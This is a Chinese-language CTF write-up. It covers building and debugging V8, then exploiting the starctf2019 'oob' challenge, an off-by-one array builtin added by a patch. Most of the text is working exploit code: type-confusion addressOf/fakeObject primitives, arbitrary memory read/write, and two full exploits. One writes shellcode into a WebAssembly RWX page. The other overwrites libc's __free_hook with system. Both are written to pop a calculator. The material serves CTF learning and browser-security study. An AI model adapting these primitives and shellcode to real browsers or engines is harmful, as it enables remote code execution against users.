何时才能遇到你呀,仅仅是如果…
前置知识
V8环境安装
V8的编译安装其实并不复杂,最重要的是你要有一个好的代理, 只要网速跟上了, 问题就不大了…
- 设置Terminal代理和git代理,设置环境变量:
export http_proxy="http://192.168.56.1:7891"
export https_proxy=$http_proxy
git config --global http.proxy http://192.168.56.1:7891
bash
- 使用git下载
depot_tools 和ninja , 设置环境变量:
git clone https://chromium.googlesource.com/chromium/tools/depot_tools.git
git clone https://github.com/ninja-build/ninja.git
echo 'export PATH=$PATH:"<depot_tools_path>"' >> ~/.bashrc
echo 'export PATH=$PATH:"<ninja_payh>"' >> ~/.bashrc
cd ninja && ./configure.py --bootstrap && cd ..
bash
- 拉取v8仓库(耐心等…):
fetch v8
cd v8
- 编译指定版本(如果要编译最新的版本则不需要这步):
git reset --hard [commit hash with vulnerability]
- 下载其他的依赖项:
gclient sync
- 打补丁(按需要, 没有补丁则不需要):
git apply path_to_diff
- 生成工程,编译到指定目录:
tools/dev/v8gen.py -b x64.debug debug
ninja -C out.gn/debug d8
- 设置v8的gdb的工具:
source path_to_v8/tools/gdbinit
source path_to_v8/tools/gdb-v8-support.py
同时为了gdb调试方便, 建议安装pwndbg …
可能遇到问题
depot_tools/bootstrap_python3: 行 32: bootstrap-.chromium._bin/python3/bin/python3: 没有那个文件或目录
将depot_tools/bootstrap_python3 文件的BOOTSTRAP_PYTHON_BIN 参数的python3 换成本地的python3 路径就可以 解决:
-BOOTSTRAP_PYTHON_BIN="${BOOTSTRAP_PATH}/python3/bin/python3"
+BOOTSTRAP_PYTHON_BIN="/usr/bin/python3"
Command: python /home/a/v8-build/v8/build/config/linux/pkg-config.py -s /home/a/v8-build/v8/build/linux/debian_sid_amd64-sysroot -a x64 glib-2.0 gmodule-2.0 gobject-2.0 gthread-2.0 Returned 1.
这类问题是因为切换到某个老版本后,缺乏老版本需要的依赖项导致的,应该可以从报错信息中看出缺少的是哪些依赖,这里是因为缺少glib-2.0,按需要安装就可以:
sudo apt install glib-2.0
V8基础知识
通过gdb来调试debug版本的v8, 可以清楚的看到各种数据结构; 源文件(test.js):
var a = [1.1,1.2,1.3];
%DebugPrint(a); // 查看对象地址
%SystemBreak(); // 触发调试中断
gdb调试:
gdb --args ./d8 --allow-natives-syntax ./test.js
JavaScript对象的内存结构, 可以通过job 命令来查看:
pwndbg> r
Starting program: /home/sir/tools/v8/out.gn/debug/d8 --allow-natives-syntax ./test.js
ERROR: Could not find ELF base!
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
[New Thread 0x7f416a59e700 (LWP 24319)]
DebugPrint: 0x22ba081094b9: [JSArray]
- map: 0x22ba082c3ae1 <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties]
- prototype: 0x22ba0828c0e9 <JSArray[0]>
- elements: 0x22ba08109499 <FixedDoubleArray[3]> [PACKED_DOUBLE_ELEMENTS]
- length: 3
- properties: 0x22ba0800222d <FixedArray[0]>
- All own properties (excluding elements): {
0x22ba080048f1: [String] in ReadOnlySpace:
}
- elements: 0x22ba08109499 <FixedDoubleArray[3]> {
0: 1.1
1: 1.2
2: 1.3
}
0x22ba082c3ae1: [Map]
- type: JS_ARRAY_TYPE
- instance size: 16
- inobject properties: 0
- elements kind: PACKED_DOUBLE_ELEMENTS
- unused property fields: 0
- enum length: invalid
- back pointer: 0x22ba082c3ab9 <Map(HOLEY_SMI_ELEMENTS)>
- prototype_validity cell: 0x22ba08202405 <Cell value= 1>
- instance descriptors
- transitions
0x22ba0800524d <Symbol: (elements_transition_symbol)>: (transition to HOLEY_DOUBLE_ELEMENTS) -> 0x22ba082c3b09 <Map(HOLEY_DOUBLE_ELEMENTS)>
- prototype: 0x22ba0828c0e9 <JSArray[0]>
- constructor: 0x22ba0828be85 <JSFunction Array (sfi = 0x22ba0820fe71)>
- dependent code: 0x22ba080021b9 <Other heap object (WEAK_FIXED_ARRAY_TYPE)>
- construction counter: 0
这些是%DebugPrint(a) 打印出来的内容, 我们也可以通过job 命令来查看:
pwndbg> job 0x22ba081094b9
0x22ba081094b9: [JSArray]
- map: 0x22ba082c3ae1 <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties]
- prototype: 0x22ba0828c0e9 <JSArray[0]>
- elements: 0x22ba08109499 <FixedDoubleArray[3]> [PACKED_DOUBLE_ELEMENTS]
- length: 3
- properties: 0x22ba0800222d <FixedArray[0]>
- All own properties (excluding elements): {
0x22ba080048f1: [String] in ReadOnlySpace:
}
- elements: 0x22ba08109499 <FixedDoubleArray[3]> {
0: 1.1
1: 1.2
2: 1.3
}
这里展示了一个对象的属性:
map :定义了如何访问对象prototype :对象的原型elements :对象的地址length :长度properties :属性,存有map和length 其中我们用的最多的也最重要的是map 和elements
pwndbg> telescope 0x22ba08109499-1
00:0000│ 0x22ba08109498 ?— 0x608002a95
01:0008│ 0x22ba081094a0 ?— 0x3ff199999999999a
02:0010│ 0x22ba081094a8 ?— 0x3ff3333333333333
03:0018│ 0x22ba081094b0 ?— 0x3ff4cccccccccccd
04:0020│ 0x22ba081094b8 ?— 0x800222d082c3ae1
05:0028│ 0x22ba081094c0 ?— 0x608109499
06:0030│ 0x22ba081094c8 ?— 0xbeadbeefbeadbeef
07:0038│ 0x22ba081094d0 ?— 0xbeadbeefbeadbeef
pwndbg> p {double} 0x22ba081094a0
$1 = 1.1000000000000001
pwndbg> p {double} 0x22ba081094a8
$2 = 1.2
pwndbg> p {double} 0x22ba081094b0
$3 = 1.3
pwndbg> x/20wx 0x22ba08109498
0x22ba08109498: 0x08002a95 0x00000006 0x9999999a 0x3ff19999
0x22ba081094a8: 0x33333333 0x3ff33333 0xcccccccd 0x3ff4cccc
0x22ba081094b8: 0x082c3ae1(map) 0x0800222d 0x08109499 0x00000006
0x22ba081094c8: 0xbeadbeef 0xbeadbeef 0xbeadbeef 0xbeadbeef
0x22ba081094d8: 0xbeadbeef 0xbeadbeef 0xbeadbeef 0xbeadbeef
v8中,如果一个值表示的是指针,那么会将该值的最低bit设置为1,所以真实的值需要-1 (查看地址的时候需要注意, job 命令不需要-1 );同时map 的地址刚好在elements 之后, 同时这里还有一个指针压缩的概念(不一定每个版本的v8都有), 通常relase 版本的基地址是存在r13 寄存器的, debug 版本是存在r14 寄存器的:
pwndbg> p/x $r14
$4 = 0x22ba00000000
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x22ba00000000 0x22ba00003000 rw-p 3000 0
0x22ba00003000 0x22ba00004000 ---p 1000 0
0x22ba00004000 0x22ba00015000 r-xp 11000 0
starctf2019-oob
环境搭建
这里可以下载题目: https://github.com/sixstars/starctf2019/tree/master/pwn-OOB 还原题目环境:
cd v8
git reset --hard 6dc88c191f5ecc5389dc26efa3ca0907faef3598
gclient sync
git apply ../../oob.diff
tools/dev/v8gen.py -b x64.release oob
ninja -C out.gn/oob
diff分析
diff --git a/src/bootstrapper.cc b/src/bootstrapper.cc
index b027d36..ef1002f 100644
--- a/src/bootstrapper.cc
+++ b/src/bootstrapper.cc
@@ -1668,6 +1668,8 @@ void Genesis::InitializeGlobal(Handle<JSGlobalObject> global_object,
Builtins::kArrayPrototypeCopyWithin, 2, false);
SimpleInstallFunction(isolate_, proto, "fill",
Builtins::kArrayPrototypeFill, 1, false);
+ SimpleInstallFunction(isolate_, proto, "oob",
+ Builtins::kArrayOob,2,false);
SimpleInstallFunction(isolate_, proto, "find",
Builtins::kArrayPrototypeFind, 1, false);
SimpleInstallFunction(isolate_, proto, "findIndex",
diff --git a/src/builtins/builtins-array.cc b/src/builtins/builtins-array.cc
index 8df340e..9b828ab 100644
--- a/src/builtins/builtins-array.cc
+++ b/src/builtins/builtins-array.cc
@@ -361,6 +361,27 @@ V8_WARN_UNUSED_RESULT Object GenericArrayPush(Isolate* isolate,
return *final_length;
}
} // namespace
+BUILTIN(ArrayOob){
+ uint32_t len = args.length();
+ if(len > 2) return ReadOnlyRoots(isolate).undefined_value();
+ Handle<JSReceiver> receiver;
+ ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+ isolate, receiver, Object::ToObject(isolate, args.receiver()));
+ Handle<JSArray> array = Handle<JSArray>::cast(receiver);
+ FixedDoubleArray elements = FixedDoubleArray::cast(array->elements());
+ uint32_t length = static_cast<uint32_t>(array->length()->Number());
+ if(len == 1){
+ //read
+ return *(isolate->factory()->NewNumber(elements.get_scalar(length)));
+ }else{
+ //write
+ Handle<Object> value;
+ ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+ isolate, value, Object::ToNumber(isolate, args.at<Object>(1)));
+ elements.set(length,value->Number());
+ return ReadOnlyRoots(isolate).undefined_value();
+ }
+}
BUILTIN(ArrayPush) {
HandleScope scope(isolate);
diff --git a/src/builtins/builtins-definitions.h b/src/builtins/builtins-definitions.h
index 0447230..f113a81 100644
--- a/src/builtins/builtins-definitions.h
+++ b/src/builtins/builtins-definitions.h
@@ -368,6 +368,7 @@ namespace internal {
TFJ(ArrayPrototypeFlat, SharedFunctionInfo::kDontAdaptArgumentsSentinel) \
/* https://tc39.github.io/proposal-flatMap/
TFJ(ArrayPrototypeFlatMap, SharedFunctionInfo::kDontAdaptArgumentsSentinel) \
+ CPP(ArrayOob) \
\
/* ArrayBuffer */ \
/* ES
diff --git a/src/compiler/typer.cc b/src/compiler/typer.cc
index ed1e4a5..c199e3a 100644
--- a/src/compiler/typer.cc
+++ b/src/compiler/typer.cc
@@ -1680,6 +1680,8 @@ Type Typer::Visitor::JSCallTyper(Type fun, Typer* t) {
return Type::Receiver();
case Builtins::kArrayUnshift:
return t->cache_->kPositiveSafeInteger;
+ case Builtins::kArrayOob:
+ return Type::Receiver();
// ArrayBuffer functions.
case Builtins::kArrayBufferIsView:
该diff文件实际就是增加了一个oob函数,函数将首先检查参数的数量是否大于2(第一个参数始终是this参数); 如果是,则返回undefined; 如果只有一个参数(this),它将数组转换成FixedDoubleArray,然后返回array[length](也就是以浮点数形式返回array[length]),如果有两个参数(this和value),它以float形式将value写入array[length]。 由于创建一个数组长度为length时我们可以访问的是第0到length-1个元素,但是该段代码却直接读取和写入第length个元素,这样就造成了off-by-one ; 而这个off-by-one 可以刚好使我们修改map 指针;
sir@sir:oob$ ./d8
V8 version 7.5.0 (candidate)
d8> var a = [1, 2, 3, 4];
undefined
d8> a
[1, 2, 3, 4]
d8> a.oob()
1.5994533561727e-310
d8> a.oob(6)
undefined
d8> a.oob()
6
d8>
利用思路
编写addressOf和fakeObject原语
addressOf : 计算一个对象的地址, 将需要计算内存地址的对象存放到一个对象数组中的A[0],然后利用上述类型混淆漏洞,将对象数组的Map类型修改为浮点数数组的类型,访问A[0]即可得到浮点数表示的目标对象的内存地址。 fakeObject :将一个内存地址伪造为一个对象, 将需要伪造的内存地址存放到一个浮点数数组中的B[0],然后利用上述类型混淆漏洞,将浮点数数组的Map类型修改为对象数组的类型,那么B[0]此时就代表了以这个内存地址为起始地址的一个JS对象了。 如果我们定义一个FloatArray浮点数数组A,然后再定义一个对象数组B; 正常情况下,访问A[0]返回的是一个浮点数,访问B[0]返回的是一个对象元素。如果将B的类型修改为A的类型,那么再次访问B[0]时,返回的就不是对象元素B[0],而是B[0]对象元素转换为浮点数即B[0]对象的内存地址了;如果将A的类型修改为B的类型,那么再次访问A[0]时,返回的就不是浮点数A[0],而是以A[0]为内存地址的一个JavaScript对象了… 所以这里我们先定义两个全局的Float数组和对象数组,利用oob 函数漏洞泄露两个数组的Map类型:
var obj = {"a": 1};
var obj_array = [obj];
var float_array = [1.1];
var obj_array_map = obj_array.oob();
var float_array_map = float_array.oob();
addressOf:
function addressOf(obj_to_leak)
{
obj_array[0] = obj_to_leak;
obj_array.oob(float_array_map);
let obj_addr = f2i(obj_array[0]) - 1n;
obj_array.oob(obj_array_map);
return obj_addr;
}
fakeObject:
function fakeObject(addr_to_fake)
{
float_array[0] = i2f(addr_to_fake + 1n);
float_array.oob(obj_array_map);
let faked_obj = float_array[0];
float_array.oob(float_array_map);
return faked_obj;
}
任意地址读写
当有了fakeObject 之后我们基本就有了任意地址读写的能力了, 因为由于这块fakeObject是我们构造的,我们就可以控制其中的elements字段了, 而elements实际上是个指针,指向elements这个fakeObject对象的地址,当我们操作数组元素时,其实操作的是从elements对象地址+0x10的内存(对于float的数组),所以我们只要把elements位置处的值覆盖为任意地址,这样我们操作数组元素时,操作的就是这块写的任意地址的内存:
var fake_array = [
float_array_map,
i2f(0n),
i2f(0x41414141n),
i2f(0x1000000000n),
1.1,
2.2,
];
var fake_array_addr = addressOf(fake_array);
var fake_object_addr = fake_array_addr - 0x40n + 0x10n;
var fake_object = fakeObject(fake_object_addr);
function read64(addr)
{
fake_array[2] = i2f(addr - 0x10n + 0x1n);
let leak_data = f2i(fake_object[0]);
console.log("[*] leak from: 0x" +hex(addr) + ": 0x" + hex(leak_data));
return leak_data;
}
function write64(addr, data)
{
fake_array[2] = i2f(addr - 0x10n + 0x1n);
fake_object[0] = i2f(data);
console.log("[*] write to : 0x" +hex(addr) + ": 0x" + hex(data));
}
WASM
wasm是让JavaScript直接执行高级语言生成的机器码的一种技术; WasmFiddle网站上面可以进行将C语言直接转换为wasm并生成JS配套调用代码; 我们的利用思路是:
- 首先加载一段
wasm 代码到内存中 - 然后通过
addressOf 找到存放wasm 的内存地址 - 接着通过任意地址写原语用shellcode替换原本wasm的代码内容
- 最后调用wasm的函数接口即可触发调用shellcode
寻找存放wasm代码的内存页地址
通过Function–>shared_info(Function+0x18)–>WasmExportedFunctionData(SharedFunctionInfo+0x8)–>instance(WasmExportedFunctionData+0x10)->rwx_addr(instance+0x88) ,就能读取到存储wasm代码的内存页起始地址了;
var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var f_addr = addressOf(f);
var f = wasmInstance.exports.main;
var shared_info_addr = read64(f_addr + 0x18n) - 0x1n;
var wasm_exported_func_data_addr = read64(shared_info_addr + 0x8n) - 0x1n;
var wasm_instance_addr = read64(wasm_exported_func_data_addr + 0x10n) - 0x1n;
var rwx_page_addr = read64(wasm_instance_addr + 0x88n);
console.log("[*] leak rwx_page_addr: 0x" + hex(rwx_page_addr));
当然, 通过分析其他CVE 的EXP , 获取rwx_page_addr 也可以换一种方式读取:
var wasm_code = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 133, 128, 128, 128, 0, 1, 96, 0, 1, 127, 3, 130, 128, 128, 128, 0, 1, 0, 4, 132, 128, 128, 128, 0, 1, 112, 0, 0, 5, 131, 128, 128, 128, 0, 1, 0, 1, 6, 129, 128, 128, 128, 0, 0, 7, 145, 128, 128, 128, 0, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 4, 109, 97, 105, 110, 0, 0, 10, 138, 128, 128, 128, 0, 1, 132, 128, 128, 128, 0, 0, 65, 42, 11]);
var wasm_mod = new WebAssembly.Module(wasm_code);
var wasm_instance = new WebAssembly.Instance(wasm_mod);
var wasm_function = wasm_instance.exports.main;
var rwx_page_addr = ftoi(arbread(addrof(wasm_instance) + 0x68n));
console.log("[+] Address of rwx page: " + rwx_page_addr.toString(16));
EXP
var buf = new ArrayBuffer(16);
var float64 = new Float64Array(buf);
var bigUint64 = new BigUint64Array(buf);
function f2i(f) {
float64[0] = f;
return bigUint64[0];
}
function i2f(i) {
bigUint64[0] = i;
return float64[0];
}
function hex(i) {
return i.toString(16).padStart(16, "0");
}
var obj = {
"x": 1
};
var obj_array = [obj];
var float_array = [6.6];
var obj_array_map = obj_array.oob();
var float_array_map = float_array.oob();
function addressOf(obj_to_leak) {
obj_array[0] = obj_to_leak;
obj_array.oob(float_array_map);
var obj_addr = f2i(obj_array[0]) - 1n;
obj_array.oob(obj_array_map);
return obj_addr;
}
function fakeObject(addr) {
float_array[0] = i2f(addr + 1n);
float_array.oob(obj_array_map);
var fake_obj = float_array[0];
float_array.oob(float_array_map);
return fake_obj;
}
var fake_arry = [
float_array_map,
i2f(0n),
i2f(0x61616161n),
i2f(0x1000000000n),
1.1,
2.2,
];
var fake_arry_addr = addressOf(fake_arry);
console.log("fake_arry_addr: " + hex(fake_arry_addr));
var fake_addr = fake_arry_addr - 0x30n;
var fake_obj = fakeObject(fake_addr);
function read_addr(addr) {
fake_arry[2] = i2f(addr - 0x10n + 1n);
var leak_data = f2i(fake_obj[0]);
console.log("[*]leak_addr: " + hex(addr) + " leak_data:" + hex(leak_data));
return leak_data;
}
function write_data(addr, data) {
fake_arry[2] = i2f(addr - 0x10n + 1n);
fake_obj[0] = i2f(data);
}
var wasmCode = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 133, 128, 128, 128, 0, 1, 96, 0, 1, 127, 3, 130, 128, 128, 128, 0, 1, 0, 4, 132, 128, 128, 128, 0, 1, 112, 0, 0, 5, 131, 128, 128, 128, 0, 1, 0, 1, 6, 129, 128, 128, 128, 0, 0, 7, 145, 128, 128, 128, 0, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 4, 109, 97, 105, 110, 0, 0, 10, 138, 128, 128, 128, 0, 1, 132, 128, 128, 128, 0, 0, 65, 1, 11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var exp = wasmInstance.exports.main;
var f_addr = addressOf(exp);
var shared_info_addr = read_addr(f_addr + 0x18n) - 0x1n;
var wasm_exported_func_data_addr = read_addr(shared_info_addr + 0x8n) - 0x1n;
var wasm_instance_addr = read_addr(wasm_exported_func_data_addr + 0x10n) - 0x1n;
var rwx_page_addr = read_addr(wasm_instance_addr + 0x88n);
console.log("[*] leak rwx_page_addr: 0x" + hex(rwx_page_addr));
var shellcode = [0x90909090, 0x90909090, 0x782fb848, 0x636c6163, 0x48500000, 0x73752fb8, 0x69622f72, 0x8948506e, 0xc03148e7, 0x89485750, 0xd23148e6, 0x3ac0c748, 0x50000030, 0x4944b848, 0x414c5053, 0x48503d59, 0x3148e289, 0x485250c0, 0xc748e289, 0x00003bc0, 0x050f00];
var data_buf = new ArrayBuffer(200);
var data_view = new DataView(data_buf);
var buf_backing_store_addr = addressOf(data_buf) + 0x20n;
write_data(buf_backing_store_addr, rwx_page_addr);
for (var i = 0; i < shellcode.length; i++) {
data_view.setUint32(4 * i, shellcode[i], true);
}
exp();
还有一种常规pwn修改got表来执行system函数的EXP.参考fa1lr4in:
var buf =new ArrayBuffer(16);
var float64 = new Float64Array(buf);
var bigUint64 = new BigUint64Array(buf);
function f2i(f)
{
float64[0] = f;
return bigUint64[0];
}
function i2f(i)
{
bigUint64[0] = i;
return float64[0];
}
function hex(i)
{
return i.toString(16).padStart(16, "0");
}
var obj = {"a": 1};
var obj_array = [obj];
var float_array = [1.1];
var obj_array_map = obj_array.oob();
var float_array_map = float_array.oob();
function addressOf(obj_to_leak)
{
obj_array[0] = obj_to_leak;
obj_array.oob(float_array_map);
let obj_addr = f2i(obj_array[0]) - 1n;
obj_array.oob(obj_array_map);
return obj_addr;
}
function fakeObject(addr_to_fake)
{
float_array[0] = i2f(addr_to_fake + 1n);
float_array.oob(obj_array_map);
let faked_obj = float_array[0];
float_array.oob(float_array_map);
return faked_obj;
}
var fake_array = [
float_array_map,
i2f(0n),
i2f(0x41414141n),
i2f(0x1000000000n),
1.1,
2.2,
];
var fake_array_addr = addressOf(fake_array);
var fake_object_addr = fake_array_addr - 0x40n + 0x10n;
var fake_object = fakeObject(fake_object_addr);
function read64(addr)
{
fake_array[2] = i2f(addr - 0x10n + 0x1n);
let leak_data = f2i(fake_object[0]);
console.log("[*] leak from: 0x" +hex(addr) + ": 0x" + hex(leak_data));
return leak_data;
}
function write64(addr, data)
{
fake_array[2] = i2f(addr - 0x10n + 0x1n);
fake_object[0] = i2f(data);
console.log("[*] write to : 0x" +hex(addr) + ": 0x" + hex(data));
}
var data_buf = new ArrayBuffer(8);
var data_view = new DataView(data_buf);
var buf_backing_store_addr = addressOf(data_buf) + 0x20n;
function write64_dataview(addr, data)
{
write64(buf_backing_store_addr, addr);
data_view.setFloat64(0, i2f(data), true);
console.log("[*] write to : 0x" +hex(addr) + ": 0x" + hex(data));
}
var a = [1.1, 2.2, 3.3];
var code_addr = read64(addressOf(a.constructor) + 0x30n);
var leak_d8_addr = read64(code_addr + 0x41n);
console.log("[*] find libc leak_d8_addr: 0x" + hex(leak_d8_addr));
var d8_base_addr = leak_d8_addr -0xfc8780n;
var d8_got_libc_start_main_addr = d8_base_addr + 0x12a47b0n;
var libc_start_main_addr = read64(d8_got_libc_start_main_addr);
var libc_base_addr = libc_start_main_addr - 0x26fc0n;
var libc_system_addr = libc_base_addr + 0x55410n;
var libc_free_hook_addr = libc_base_addr + 0x00000000001EEB28n;
console.log("[*] find libc libc_free_hook_addr: 0x" + hex(libc_free_hook_addr));
write64_dataview(libc_free_hook_addr, libc_system_addr);
console.log("[*] Write ok.");
function get_shell()
{
let get_shell_buffer = new ArrayBuffer(0x1000);
let get_shell_dataview = new DataView(get_shell_buffer);
get_shell_dataview.setFloat64(0, i2f(0x69622fn), true);
get_shell_dataview.setFloat64(3, i2f(0x2d656d6f6e672f6en), true);
get_shell_dataview.setFloat64(11, i2f(0x74616c75636c6163n), true);
get_shell_dataview.setFloat64(19, i2f(0x726fn), true);
}
get_shell();
|